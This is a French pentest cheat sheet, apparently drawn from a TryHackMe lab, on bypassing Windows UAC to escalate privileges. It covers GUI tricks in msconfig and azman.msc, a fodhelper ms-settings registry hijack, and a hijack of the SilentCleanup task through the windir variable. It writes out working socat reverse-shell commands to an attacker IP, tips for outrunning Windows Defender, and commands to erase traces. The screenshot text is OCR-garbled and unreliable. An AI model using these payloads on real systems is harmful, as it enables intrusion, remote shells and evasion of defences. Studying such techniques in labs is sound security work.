[Privesc/Windows] Bypass
UAC

Introduction

Cette fiche décrit différentes techniques pour contourner I'UAC et ainsi, monter en privilege.

Source

e TryHackMe - Bypassing UAC

Techniques

Msconfig

Faites Win+R puis lancez msconfig :
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Type the name of a program, folder, docurment, or Internet

= resource, and Windows will open it for you.

Open: | msconfig iy

QK Cancel Browse...

Puis Rendez-vous dans Tools pour sléectionner Command Prompt puis cliquez sur Launch :

E} system Configuration >
General Boot Services Startup

Tool Mame Description "
System Properties View basic information about your computer system settings.
Internet Options View Internet Properties.
Internet Protocol Configurat... View and configure network address settings,
Performance Monitor Monitor the performance of local or remote computers.
Resource Maonitor Manitor the performance and resource usage of the local computer.,

_Task Manager View detsi running on your computer,
Command Prompt Open a command prompt window.
Registry Editor Make changes to the Windows registry.

W

€ >

Selected command:
C:Windows'System32\ond . exe |

Ok Cancel Apply Help

Vous devriez voir un prompt a privilege High apparaitre.

aZzman.Mmsc

Faites Win+R puis lancez azman.msc :
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4 Run >

Type the name of a program, folder, docurment, or Internet

= resource, and Windows will open it for you.

Open: 2Zman.msc w

QK Cancel Browse...

Commencez par vous rendre dans le menu Help puis Help Tonics :

Authorization Manager
E File Action View Window Help
@ = e | Help Topics

Authorization Manager TechCenter Web Site B

About Microsoft Management Conscle...

About Authorization Manager..,
The Authonzation Manager snap-1n allows you to set role-based per
been Autherization Manager enabled, To use the Authorization Man
authorization store (if you are an application developer) or open an ¢

Ensuite faite clic droit puis View Source :

' MMC

B Eijg

Hide Prirt  Options

MMC

Contents Search Favorites

[E] MmC Access help for Microsoft operating systems

MNeed help? &ll help for Windows 10 and Windows Server produc

If vou're looking for general help with Windows, the main Windo

resource.
Are you an administra Back ? Find content «
developers, and more

Forward
Do yvou manage serve rer products an
Server. Select All

Yiew Source

Print...
Refrezh

Properties
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Une fois dans le Notepad, Rendez-vous dans le menu File puis Open et sélectionnez tous les types
de fichiers pour pouvoir afficher le cmd. Faite clic droit dessus puis Open pour ouvrir un shell

privilégié :
Mj 52aa7h28-dcch-498a-a33b-e653d c0bfdb34[ 1] - Notepac — a -
File Edit Format —
<html xmlns="ht{ | OPen X
"Access-help-fou 2 « Windows » System32 » & Search System32 P
v s
<far</dive<prlles !
Organize - Mew folder = [ @
" Mame Date medified Type ™
7 Cuick access r e e =g o
cmcfg32.dll 9/15/218 712 AM  Applic
I Desktop * B cmd Select pplic
L E 1=
Documents cmdext.dll pplic
4 Downloads  # crndial32.dll Open pplic
=] Pictures + [ emdkey G Run as administrator pplic
Bl emaiz2 Pin to Start pplic
3 This PC cmgrespps.dil Restore previous versions pplic
3D Object 1 cmi i
| Jects cmifw.dll Send to 5 pplic
[ Desktop cmintegrator.dll pplic
r Y Cut .
Documents cmlua.dil . pplic
; Downloads crmmon32 Copy pplic
J’ Music cmpblk32.dll Create shortcut pplic
& crstp pplic
[&] Pictures . G fz=3 )
crmstplua.dll ® Rename pplic
B Videos cmutil.di : pplic
< ‘= Local Disk (C:) cngereduidll Properties pplic w
& . e *
File name: | cmd v | [ Al Files v
Encoding: | AMS| w Cancel

Fodhelper

Cette technique a un avantage considérable par rapport aux deux techniques précédentes :

Elle peut étre réalisée sans aucun acces au GUI !

La faille existe car le logiciel FodHelper (utilisé pour configurer certains options du systeme) est
programmeé pour étre lancé lors de I'exécution des fichiers ayant pour ProglD ms-setting par

défaut.

Cependant, cette valeur peut étre changée dans le registre :

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
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set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker ip>:4444
EXEC:cmd.exe,pipes"

Vous pouvez changer la commande a souhait !

reg add %REG KEY% /v "DelegateExecute" /d "" /f

reg add SREG_KEYS% /d %CMD% /f & fodhelper.exe

Si la commande ci-dessus ne lance pas votre payload, il est trés probable que ce soit
Windows Defender qui la bloque.

Relancez la commande jusqu'a ce gu'elle s'exécute avant d'étre détecté par Windows
Defender.

Si jamais vous n'y parvenez pas, vous pouvez utiliser cette version améliorée de I'exploit, qui aura
plus de chance d'aboutir :

$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:<attacker ip>:4445
EXEC:cmd.exe,pipes"

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value

$program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn"

-Force

Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

Vous pouvez ensuite effacer vos traces :

reg delete "HKCU\Software\Classes\.thm\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

Disk cleanup Scheduled Task



Par défaut, une tache plannifiée de nettoyage du disque est présente et se lance avec le privilege
High qui est modifiable par I'utilisateur.

Il est donc possible de modifier cette tache pour y mettre une backdoor et contourner 'UAC méme
s'il est définit en mode Always Notify (qui devrait notifier I'utilisateur systématiquement pour les
privileges).

Cet exploit fonctionne et ne déclenche pas I'UAC car les taches plannifiées ne peuvent pas le faire
par nature.

Vous pouvez retrouver cette tache dans I'éditeur des taches plannifiées :

() Task Scheduler - x
File Action View Help

= 75 m HE

<

>

Displays the currently running tasks.

Par défaut, il lance le programme cleanmgr.exe :

® -l:E.‘Sk Scheduler (Loc? 3 ~ Status  Triggers MNext Run Time Last Run Time Last Run Result Actions
w |1 Task Scheduler Library - — i - .

« [ Microsoft [&] SilentCleanup  Ready 2/22/2022 11:11:08 AM  The operation completed successfully. ({ DiskCleanup -~
w | Windows E Create Basic Task...
[Z] \NET Framewor +  Create Task...

% Active Directory Import Task..

| ApplD
[ Application Exp [E4 Display All Runni...
[7] ApplicationDat: i&] Enable All Tasks H...
| AppxDepl < 2
j Azs:c:: eyme ] Mew Folder...
General i i iti i i i
[ BitLocker Triggers Actions Conditions  Settings  History (disabled) % Delete Folder
] Bluetooth Mame: SilentCleanup | View »
[ BrokerInfrastruc ) ; . .
- Location: WMicrosoft\Windows\DiskCleanu
| CertificateServic peation : @ Refresh
5 Chicdsk Author: Microsoft Corporation ﬂ Help
[ Clip Description: | Maintenance task used by the system to launch a silent auto disk cleanup when running low on free
] CloudExperienc disk space. Selected ftem -~
] Customer Exper I Run
[ Data Integrity S s End
| Defrag )
[ Device Informa ¥ Disable
] Device Setup Export...
| Diagnosis .
=1 Dlirscty. Security options L Properties
| Diskcl : : - K Delete
J_ =2 When running the task, use the following user account:
;_' BiskeEHtotreatt Users ﬂ Help
—_I DiskFootprint Run anly when user is lagged on
[ EDP .
[ EnterpriseMgm Run whether user is logged on or not
] ExploitGuard Do not store password, The task will only have access to local resources
[ File Classificatic Run with highest privileges
] Flighting
[ InstallService ¥ Hidden Configure for: | Windows Server 2019
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General Triggers Conditions  Settings  History (disabled) General Triggers Actions (ondltlon; History (disabled)

Specify additional settings that affect the behavior of the task. To change these settings, open the task property

When you create a task, you must specify the action that will occur when your task starts. To change these . k
y Ly pecify y 9 pages using the Properties command.

actions, open the task property pages using the Properties command,

Action Details Allow task to be run on demand |
Start a program Fewindirfs\system32\cleanmgr.exe /autoclean /d Yesystemdrive®s
Run task as soon as possible after a scheduled start is missed
If the task fails, restart every: 1 minute
Attempt to restart up to: 3
Stop the task if it runs longer than: 15 minutes

If the running task does not end when requested, force it to stop

If the task is not scheduled to run again, delete it aftern 30 days

If the task is already running, then the following rule applies:

Do not start a new instance

Comme la variable d'environnement %windir% peut étre modifiée dans le registre, on peut mettre
notre payload a la place et le reste de la commande en commentaire grace a l'instruction "&REM "
(avec un espace) :

reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe

TCP:<attacker ip>:4446 EXEC:cmd.exe,pipes &REM " /f

Puis on peut lancer la tache :
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Vous pouvez vérifier que I'exploit a fonctionné en regardant vos droits :

whoami /groups | find "Label"

Si vous avez le Medium Mandatory Level, votre exploit n'a pas fonctionné alors que si vous avez
le High Mandatory Level c'est que vous étes monté en privilége.

Vous pouvez aussi effacer vos traces :

reg delete "HKCU\Environment" /v "windir" /f

Outil automatisé

Il existe des outils pour automatiser toutes ces techniques dont celui-ci :

e https://github.com/hfirefOx/UACME

Method Id Bypass technique
33 fodhelper.exe
34 DiskCleanup scheduled task

70 fodhelper.exe using CurVer registry key
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Voici la syntaxe :

.\UACME-Akagi64.exe <METHOD ID>
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